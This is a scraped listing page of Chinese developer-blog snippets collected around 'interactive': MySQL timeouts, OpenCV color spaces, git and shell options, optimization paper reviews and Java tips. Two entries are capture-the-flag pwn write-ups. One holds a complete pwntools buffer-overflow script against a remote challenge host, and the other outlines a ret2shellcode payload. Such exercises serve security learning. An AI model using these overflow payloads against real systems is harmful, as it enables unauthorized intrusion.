- 前端开发这次几个非常经典的常用技巧,学会了之后事半功倍!
学掌门
程序员软件开发前端状态模式软件开发前端
对于一个刚入前端的新手来说,在前端开发过程中会遇到各种各样的麻烦和坑,这样很多时候回让开发者的信息受到打击,作为一个稍微好一点的前端菜鸟来说,今天就给刚入前端的新手们分享一些比较实用的开发技巧,让之少走一些弯路。1.如何知道iframe下载完成做数据分析,一共分几步?定时器轮询监听readyState的状态,如果是complete或者interactive说明文件加载完成。letiframe=do
- 【MYSQL】在MySQL中设置 max_allowed_packet、wait_timeout 和 interactive_timeout
丶2136
web数据库mysql数据库后端
目录重要配置参数临时设置参数1.使用SQL语句设置1.检查当前设置持久化设置修改配置文件在Linux上重启MySQL服务:在Windows上重启MySQL服务:注意事项示例:使用BLOB存储大数据总结解决连接断开问题的总结在处理大于1MB的数据时,MySQL数据库可能会遇到连接断开的问题。此类问题通常与几个重要的配置参数有关,包括max_allowed_packet、wait_timeout和in
- ubuntu22.04@laptop OpenCV Get Started: 007_color_spaces
lida2003
Linuxopencv人工智能计算机视觉
ubuntu22.04@laptopOpenCVGetStarted:007_color_spaces1.源由2.颜色空间2.1RGB颜色空间2.2LAB颜色空间2.3YCrCb颜色空间2.4HSV颜色空间3代码工程结构3.1C++应用Demo3.2Python应用Demo4.重点分析4.1interactive_color_detect4.2interactive_color_segment4.
- 03_when_did_you_born
Zero_0_0
frompwnimport*##p=process('./when_did_you_born')p=remote("111.198.29.45","30787")p.recvuntil("?")p.sendline("1998")p.recvuntil("Name?")payload='A'*8payload+=p64(1926)p.sendline(payload)p.interactive()
- 命令行任务管理器的at命令
阳阳大魔王
黑客技术网络安全网络笔记windows
at命令是计划在指定事件和日期在计算机上运行命令和程序。at命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则at命令将列出已计划的命令。1.语法at[\\ComputerName][{[ID][/delete]|/delete[/yes]}]At[\\ComputerName]hours:minutes[/interactive][{/every:date[,…]|/next:da
- Linux himBH 和 set 命令
一得同学
运维进阶:Linux系统管理linuxshell运维
文章目录一、$-和himBH二、himBH简析1、h-hashall2、i-interactive-comments3、m-monitor4、B-braceexpand5、H-histexpand三、set命令一、$-和himBH:~>echo$-himBH$-记录的是当前配置打开的shell选项,而himBH是其默认值。himBH每个字母都代表了一个shell选项,具体如下:h-hashalli
- 【git】命令一览表
AG_
版本控制系统git命令
1、常用的Git命令命令简要说明gitadd添加至暂存区gitadd–interactive交互式添加gitapply应用补丁gitam应用邮件格式补丁gitannotate同义词,等同于gitblamegitarchive文件归档打包gitbisect二分查找gitblame文件逐行追溯gitbranch分支管理gitcat-file版本库对象研究工具gitcheckout检出到工作区、切换或创
- 论文阅读:Assessing the Performance of Interactive Multiobjective Optimization Methods: A Survey
还是要努力呀!
论文阅读论文阅读多目标优化
AssessingthePerformanceofInteractiveMultiobjectiveOptimizationMethods:ASurvey作者:BEKIRAFSAR、KAISAMIETTINEN、FRANCISCORUIZ期刊:ACMComput.、2021DOI:10.1145/3448301引言多目标优化问题需要同时优化几个相互冲突的目标函数,通常没有任何解决方案可以使所有目标
- 论文阅读:An interactive method for surrogate-assisted multi-objective evolutionary algorithms
还是要努力呀!
论文阅读论文阅读多目标优化交互式
Aninteractivemethodforsurrogate-assistedmulti-objectiveevolutionaryalgorithms辅助代理多目标进化算法的交互式方法作者:DinhNguyenDuc、LongNguyen、KienThaiTrung期刊:IEEEInternationalConferenceonKNOWLEDGEANDSYSTEMS、November2020D
- 论文阅读:Interactive Multiobjective Optimization:A Review of the State-of-the-Art
还是要努力呀!
论文阅读启发式算法
InteractiveMultiobjectiveOptimization:AReviewoftheState-of-the-Art作者:BinXin、LuChen、JieChen期刊:IEEEAccess、2018DOI:10.1109/AXXESS.2018.2856832摘要交互式多目标优化(IMO)旨在通过决策者DM逐步提供的偏好信息找到决策者最喜欢的解决方案。在此过程中,决策者可以调整他
- 【Git本地init与push到远程仓库】
Casia_Dominic
gitelasticsearch大数据
1、先进行git配置项查看与修改初始化.git删除:rm-rf.git查看信息:gitconfig--list$gitconfig--listcore.symlinks=falsecore.autocrlf=truecore.fscache=truecolor.diff=autocolor.status=autocolor.branch=autocolor.interactive=truehelp
- IEEE| IceNet《IceNet for Interactive Contrast Enhancement》论文超详细解读(翻译+精读)
路人贾'ω'
低照度图像增强计算机视觉人工智能深度学习图像增强
学习资料:论文题目:《IceNetforInteractiveContrastEnhancement》(用于交互式对比度增强的IceNet)原文地址:export.arxiv.org/pdf/2109.05838v2.pdf目录ABSTRACT—摘要翻译精读I.INTRODUCTION—简介翻译精读II.RELATEDWORK—相关工作翻译精读III.PROPOSEDALGORITHM—方法A.I
- QTableView行列大小的调整模式
燃犀知不可乎骤得
燃犀的QT笔记qt
QHeaderView::Interactive:允许用户通过拖拽表头来改变列或行的大小,也可以通过程序调用resizeSection()函数来改变大小。默认情况下,列或行的大小为defaultSectionSize。该模式支持级联大小调整(cascadingSectionResizes)。QHeaderView::Fixed:禁止用户通过拖拽表头来改变列或行的大小,只能通过程序调用resizeS
- 使用Scrollbar时,提示“flutter: Interceptor: ══╡ EXCEPTION CAUGHT BY ANIMATION LIBRARY ╞═══”
JIngles123
flutterflutterjavascript开发语言
出现的问题:问题如图所示,我写了一个小例子,来学习SingleChildScrollView。代码很简单,这里给出:class_ScrollTestextendsStatelessWidget{@overrideWidgetbuild(BuildContextcontext){Stringstr="asdafdsfsdgee";returnScrollbar(interactive:true,ch
- 论文阅读:A visualized human-computer interactive approach to job shop scheduling
还是要努力呀!
论文阅读论文阅读多目标优化交互式
Avisualizedhuman-computerinteractiveapproachtojobshopscheduling作者:DongH.Baek、SangY.OH、WanC.Yoon期刊:COMPUTERINTEGRATEDMANUFACTURING、1999网络资源:Avisualizedhuman-computerinteractiveapproachtojobshopscheduli
- 用 CanvasKit 实现超级丝滑的原神地图(已开源)!!!
神码观察
开源
首先给大家送上预览地址:官网地址:https://webstatic.mihoyo.com/ys/app/interactive-map/index.htmlcanvaskit地址:http://106.55.55.247/ky-genshin-map/为什么canvaskit有如此高的性能?第一个问题,官方网页版地图引擎用的是leaflet,这是一个以dom为主要实现方式的地图引擎,而频繁地大量
- 论文阅读 :TradeoffBased Interactive MultiObjective Optimization Method Driven by Evolutionary Algorithms
还是要努力呀!
论文阅读论文阅读多目标优化
ATradeoff-BasedInteractiveMulti-ObjectiveOptimizationMethodDrivenbyEvolutionaryAlgorithms作者:LuChen、BinXin、JieChen期刊:JournalofAdvancedComputationalIntelligenceandIntelligentInformatics、2017DOI:10.20965
- 论文阅读:Interactive Multiobjective Optimization from a Learning Perspective
还是要努力呀!
论文阅读交互式多目标优化
InteractiveMultiobjectiveOptimizationfromaLearningPerspective作者:ValerieBelton、JürgenBranke、PetriEskelinen书名:MultiobjectiveOptimization:InteractiveandEvolutionaryApproaches、2008DOI:10.1007/978-3-540-88
- 论文阅读:Towards Automatic Testing of Reference Point Based Interactive Methods
还是要努力呀!
论文阅读论文阅读多目标优化
TowardsAutomaticTestingofReferencePointBasedInteractiveMethods作者:VesaOjalehto、DmitryPodkopaev、KaisaMiettinen期刊:PPSN、2016DOI:10.1007/978-3-319-45823-645内容简介为了了解优化算法的优缺点,有必要了解不同类型的测试问题、定义良好的性能指标和分析工具。这样
- Linux shell 脚本编程
程序员小胡0619
linux运维服务器
一.shell的简述1.在正式进入shell脚本编程前,首先不得不说下shell了,shell的话通俗来说就是一个命令解释器,它用于用户操作内核的一个工具。Shell是Linux学习过程中很重要的一部分,它有两种执行命令的方式:交互式(Interactive),用户输入一条命令,Shell就解释执行一条;批处理(Batch),用户事先写一个Shell脚本(Script),其中有很多条命令,让She
- The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s ...
疾风知剑豪
现象:MacOS升级到10.15Catalina打开终端,出现以下提示:Thedefaultinteractiveshellisnowzsh.Toupdateyouraccounttousezsh,pleaserun`chsh-s/bin/zsh`.Formoredetails,pleasevisithttps://support.apple.com/kb/HT208050.原因:这个提示是官方希
- Docker exec报 the input device is not a TTY错误
锡城筱凯
▶Docker▶自动化测试dockerjavaservlet
问题情况在Jenkins中运行下面的命令会报题目中的错误。dockerexec-ittest_dockerbash-c"bashtest.sh"首先我们先看下docker命令中的各个参数分别是什么意思:常用参数解释-i,–interactive以交互模式运行容器-t,–tty为容器分配一个虚拟终端、伪终端/tty-d,–detach在后台模式下运行容器-u,–user[=“”]以指定的用户名或UI
- docker安装的php 在cli中使用
王大爷~
dockerphp容器
1:修改~/.bashrc中新增php7(){tty=tty-s&&tty=--ttydockerrun\$tty\--interactive\--rm\--volume/website:/website:rw\--workdir/website/project\--network=dnmp_dnmp\dnmp_phpphp"$@"}–network=dnmp_dnmp重要,不然连不上数据库,可通
- pwn做题之ret2shellcode
征的帅
linux
将二进制文件拖入ida发现无后门程序,想到要生成shellcode,用shellcraft.sh()生成,asm(shellcraft.sh()),用gdb找ebx-eax的值,payload=(ebp-eax)转换成10进制+4(文件为32字节,64字节应为8)+p32(bass区地址).io.sendline(payload)io.interactive()ebp-eax=6c=108
- 二关节机械臂matlab控制,二连杆机械臂阻抗控制模拟(一)
汪纪霞
二关节机械臂matlab控制
在学习机器人动力学相关内容时看到MATLAB论坛上一个有意思的仿真项目ImpedanceControlfora2-LinkRobotArm-User-interactive,一个用MATLAB实现的平面二连杆机械臂阻抗控制仿真。用户可以点击并拖拽鼠标来实时改变机械臂的目标位置,在控制力矩作用下机械臂会跟随目标点运动。按空格键可以切换控制模式,此时拖拽鼠标用来给末端施加一个扰动力,由于阻抗控制的作用
- 解决安装软件中出现的问题
热苏打_1823
vdb-config--interactive下载数据需解压时安装fastq-dump,结果报错,linux提示需先运行vdb-configinteractiveimage.png运行提示命令后即可成功安装$vdb-configinteractive出现配置界面image.png按提示选择即可配置成功在安装sratoolkits软件时遇到同样的问题cdb-config:commandnotfoun
- 【issue-halcon例程学习】median_interactive.hdev
斜月三星0727
视觉检测
例程功能 对鼠标交互做出反应代码如下dev_set_preferences('graphics_window_context_menu','false')dev_close_window()dev_update_off()1.****2.step:acquireimage3.****read_image(Image,'mreut')get_image_size(Image,Width,Height
- Java网络学习
Winter Developer
java网络
TCPC/S连接客户端连接服务器Socket发送消息packagecom.Internetlearn.TCP.interactive;importjava.io.IOException;importjava.io.OutputStream;importjava.net.InetAddress;importjava.net.Socket;publicclassClientTCP{ public
- R语言【base】:interactive():R语言是否在交互状态下运行?
ALittleHigh
#baser语言
Packagebaseversion4.2.0Usageinteractive()Details交互式的R会话是指有一个虚拟的操作手与R交互,比如R可以针对错误的输入提示更正,或者也可以询问接下来如何处理,或者认为这是可以的并且进行下一步。GUI控制台将安排在交互式会话中启动R。当R在终端中运行时(在Windows上通过Rterm.exe),它假设如果'stdin'连接到(伪)终端,而不是'std
- 解决SSH远程执行命令找不到环境变量的问题
冰阔落jack
通过SSH执行远程主机的命令或脚本时,经常会出现找不到自定义环境变量的问题。但是,如果通过SSH登录远程主机,然后再执行相同的命令或脚本,那么此时执行又是成功的。两种相似的方法,得到的结果却截然不同,看起来很诡异的现象,根本原因在于这两种方式使用的bash模式不同!1.通过SSH登录后再执行命令和脚本这种方式会使用Bash的interactive+loginshell模式,这里面有两个概念需要解释
- 多线程编程之join()方法
周凡杨
javaJOIN多线程编程线程
现实生活中,有些工作是需要团队中成员依次完成的,这就涉及到了一个顺序问题。现在有T1、T2、T3三个工人,如何保证T2在T1执行完后执行,T3在T2执行完后执行?问题分析:首先问题中有三个实体,T1、T2、T3, 因为是多线程编程,所以都要设计成线程类。关键是怎么保证线程能依次执行完呢?
Java实现过程如下:
public class T1 implements Runnabl
- java中switch的使用
bingyingao
javaenumbreakcontinue
java中的switch仅支持case条件仅支持int、enum两种类型。
用enum的时候,不能直接写下列形式。
switch (timeType) {
case ProdtransTimeTypeEnum.DAILY:
break;
default:
br
- hive having count 不能去重
daizj
hive去重having count计数
hive在使用having count()是,不支持去重计数
hive (default)> select imei from t_test_phonenum where ds=20150701 group by imei having count(distinct phone_num)>1 limit 10;
FAILED: SemanticExcep
- WebSphere对JSP的缓存
周凡杨
WAS JSP 缓存
对于线网上的工程,更新JSP到WebSphere后,有时会出现修改的jsp没有起作用,特别是改变了某jsp的样式后,在页面中没看到效果,这主要就是由于websphere中缓存的缘故,这就要清除WebSphere中jsp缓存。要清除WebSphere中JSP的缓存,就要找到WAS安装后的根目录。
现服务
- 设计模式总结
朱辉辉33
java设计模式
1.工厂模式
1.1 工厂方法模式 (由一个工厂类管理构造方法)
1.1.1普通工厂模式(一个工厂类中只有一个方法)
1.1.2多工厂模式(一个工厂类中有多个方法)
1.1.3静态工厂模式(将工厂类中的方法变成静态方法)
&n
- 实例:供应商管理报表需求调研报告
老A不折腾
finereport报表系统报表软件信息化选型
引言
随着企业集团的生产规模扩张,为支撑全球供应链管理,对于供应商的管理和采购过程的监控已经不局限于简单的交付以及价格的管理,目前采购及供应商管理各个环节的操作分别在不同的系统下进行,而各个数据源都独立存在,无法提供统一的数据支持;因此,为了实现对于数据分析以提供采购决策,建立报表体系成为必须。 业务目标
1、通过报表为采购决策提供数据分析与支撑
2、对供应商进行综合评估以及管理,合理管理和
- mysql
林鹤霄
转载源:http://blog.sina.com.cn/s/blog_4f925fc30100rx5l.html
mysql -uroot -p
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
[root@centos var]# service mysql
- Linux下多线程堆栈查看工具(pstree、ps、pstack)
aigo
linux
原文:http://blog.csdn.net/yfkiss/article/details/6729364
1. pstree
pstree以树结构显示进程$ pstree -p work | grep adsshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552) &n
- html input与textarea 值改变事件
alxw4616
JavaScript
// 文本输入框(input) 文本域(textarea)值改变事件
// onpropertychange(IE) oninput(w3c)
$('input,textarea').on('propertychange input', function(event) {
console.log($(this).val())
});
- String类的基本用法
百合不是茶
String
字符串的用法;
// 根据字节数组创建字符串
byte[] by = { 'a', 'b', 'c', 'd' };
String newByteString = new String(by);
1,length() 获取字符串的长度
&nbs
- JDK1.5 Semaphore实例
bijian1013
javathreadjava多线程Semaphore
Semaphore类
一个计数信号量。从概念上讲,信号量维护了一个许可集合。如有必要,在许可可用前会阻塞每一个 acquire(),然后再获取该许可。每个 release() 添加一个许可,从而可能释放一个正在阻塞的获取者。但是,不使用实际的许可对象,Semaphore 只对可用许可的号码进行计数,并采取相应的行动。
S
- 使用GZip来压缩传输量
bijian1013
javaGZip
启动GZip压缩要用到一个开源的Filter:PJL Compressing Filter。这个Filter自1.5.0开始该工程开始构建于JDK5.0,因此在JDK1.4环境下只能使用1.4.6。
PJL Compressi
- 【Java范型三】Java范型详解之范型类型通配符
bit1129
java
定义如下一个简单的范型类,
package com.tom.lang.generics;
public class Generics<T> {
private T value;
public Generics(T value) {
this.value = value;
}
}
- 【Hadoop十二】HDFS常用命令
bit1129
hadoop
1. 修改日志文件查看器
hdfs oev -i edits_0000000000000000081-0000000000000000089 -o edits.xml
cat edits.xml
修改日志文件转储为xml格式的edits.xml文件,其中每条RECORD就是一个操作事务日志
2. fsimage查看HDFS中的块信息等
&nb
- 怎样区别nginx中rewrite时break和last
ronin47
在使用nginx配置rewrite中经常会遇到有的地方用last并不能工作,换成break就可以,其中的原理是对于根目录的理解有所区别,按我的测试结果大致是这样的。
location /
{
proxy_pass http://test;
- java-21.中兴面试题 输入两个整数 n 和 m ,从数列 1 , 2 , 3.......n 中随意取几个数 , 使其和等于 m
bylijinnan
java
import java.util.ArrayList;
import java.util.List;
import java.util.Stack;
public class CombinationToSum {
/*
第21 题
2010 年中兴面试题
编程求解:
输入两个整数 n 和 m ,从数列 1 , 2 , 3.......n 中随意取几个数 ,
使其和等
- eclipse svn 帐号密码修改问题
开窍的石头
eclipseSVNsvn帐号密码修改
问题描述:
Eclipse的SVN插件Subclipse做得很好,在svn操作方面提供了很强大丰富的功能。但到目前为止,该插件对svn用户的概念极为淡薄,不但不能方便地切换用户,而且一旦用户的帐号、密码保存之后,就无法再变更了。
解决思路:
删除subclipse记录的帐号、密码信息,重新输入
- [电子商务]传统商务活动与互联网的结合
comsci
电子商务
某一个传统名牌产品,过去销售的地点就在某些特定的地区和阶层,现在进入互联网之后,用户的数量群突然扩大了无数倍,但是,这种产品潜在的劣势也被放大了无数倍,这种销售利润与经营风险同步放大的效应,在最近几年将会频繁出现。。。。
如何避免销售量和利润率增加的
- java 解析 properties-使用 Properties-可以指定配置文件路径
cuityang
javaproperties
#mq
xdr.mq.url=tcp://192.168.100.15:61618;
import java.io.IOException;
import java.util.Properties;
public class Test {
String conf = "log4j.properties";
private static final
- Java核心问题集锦
darrenzhu
java基础核心难点
注意,这里的参考文章基本来自Effective Java和jdk源码
1)ConcurrentModificationException
当你用for each遍历一个list时,如果你在循环主体代码中修改list中的元素,将会得到这个Exception,解决的办法是:
1)用listIterator, 它支持在遍历的过程中修改元素,
2)不用listIterator, new一个
- 1分钟学会Markdown语法
dcj3sjt126com
markdown
markdown 简明语法 基本符号
*,-,+ 3个符号效果都一样,这3个符号被称为 Markdown符号
空白行表示另起一个段落
`是表示inline代码,tab是用来标记 代码段,分别对应html的code,pre标签
换行
单一段落( <p>) 用一个空白行
连续两个空格 会变成一个 <br>
连续3个符号,然后是空行
- Gson使用二(GsonBuilder)
eksliang
jsongsonGsonBuilder
转载请出自出处:http://eksliang.iteye.com/blog/2175473 一.概述
GsonBuilder用来定制java跟json之间的转换格式
二.基本使用
实体测试类:
温馨提示:默认情况下@Expose注解是不起作用的,除非你用GsonBuilder创建Gson的时候调用了GsonBuilder.excludeField
- 报ClassNotFoundException: Didn't find class "...Activity" on path: DexPathList
gundumw100
android
有一个工程,本来运行是正常的,我想把它移植到另一台PC上,结果报:
java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.mobovip.bgr/com.mobovip.bgr.MainActivity}: java.lang.ClassNotFoundException: Didn't f
- JavaWeb之JSP指令
ihuning
javaweb
要点
JSP指令简介
page指令
include指令
JSP指令简介
JSP指令(directive)是为JSP引擎而设计的,它们并不直接产生任何可见输出,而只是告诉引擎如何处理JSP页面中的其余部分。
JSP指令的基本语法格式:
<%@ 指令 属性名="
- mac上编译FFmpeg跑ios
啸笑天
ffmpeg
1、下载文件:https://github.com/libav/gas-preprocessor, 复制gas-preprocessor.pl到/usr/local/bin/下, 修改文件权限:chmod 777 /usr/local/bin/gas-preprocessor.pl
2、安装yasm-1.2.0
curl http://www.tortall.net/projects/yasm
- sql mysql oracle中字符串连接
macroli
oraclesqlmysqlSQL Server
有的时候,我们有需要将由不同栏位获得的资料串连在一起。每一种资料库都有提供方法来达到这个目的:
MySQL: CONCAT()
Oracle: CONCAT(), ||
SQL Server: +
CONCAT() 的语法如下:
Mysql 中 CONCAT(字串1, 字串2, 字串3, ...): 将字串1、字串2、字串3,等字串连在一起。
请注意,Oracle的CON
- Git fatal: unab SSL certificate problem: unable to get local issuer ce rtificate
qiaolevip
学习永无止境每天进步一点点git纵观千象
// 报错如下:
$ git pull origin master
fatal: unable to access 'https://git.xxx.com/': SSL certificate problem: unable to get local issuer ce
rtificate
// 原因:
由于git最新版默认使用ssl安全验证,但是我们是使用的git未设
- windows命令行设置wifi
surfingll
windowswifi笔记本wifi
还没有讨厌无线wifi的无尽广告么,还在耐心等待它慢慢启动么
教你命令行设置 笔记本电脑wifi:
1、开启wifi命令
netsh wlan set hostednetwork mode=allow ssid=surf8 key=bb123456
netsh wlan start hostednetwork
pause
其中pause是等待输入,可以去掉
2、
- Linux(Ubuntu)下安装sysv-rc-conf
wmlJava
linuxubuntusysv-rc-conf
安装:sudo apt-get install sysv-rc-conf 使用:sudo sysv-rc-conf
操作界面十分简洁,你可以用鼠标点击,也可以用键盘方向键定位,用空格键选择,用Ctrl+N翻下一页,用Ctrl+P翻上一页,用Q退出。
背景知识
sysv-rc-conf是一个强大的服务管理程序,群众的意见是sysv-rc-conf比chkconf
- svn切换环境,重发布应用多了javaee标签前缀
zengshaotao
javaee
更换了开发环境,从杭州,改变到了上海。svn的地址肯定要切换的,切换之前需要将原svn自带的.svn文件信息删除,可手动删除,也可通过废弃原来的svn位置提示删除.svn时删除。
然后就是按照最新的svn地址和规范建立相关的目录信息,再将原来的纯代码信息上传到新的环境。然后再重新检出,这样每次修改后就可以看到哪些文件被修改过,这对于增量发布的规范特别有用。
检出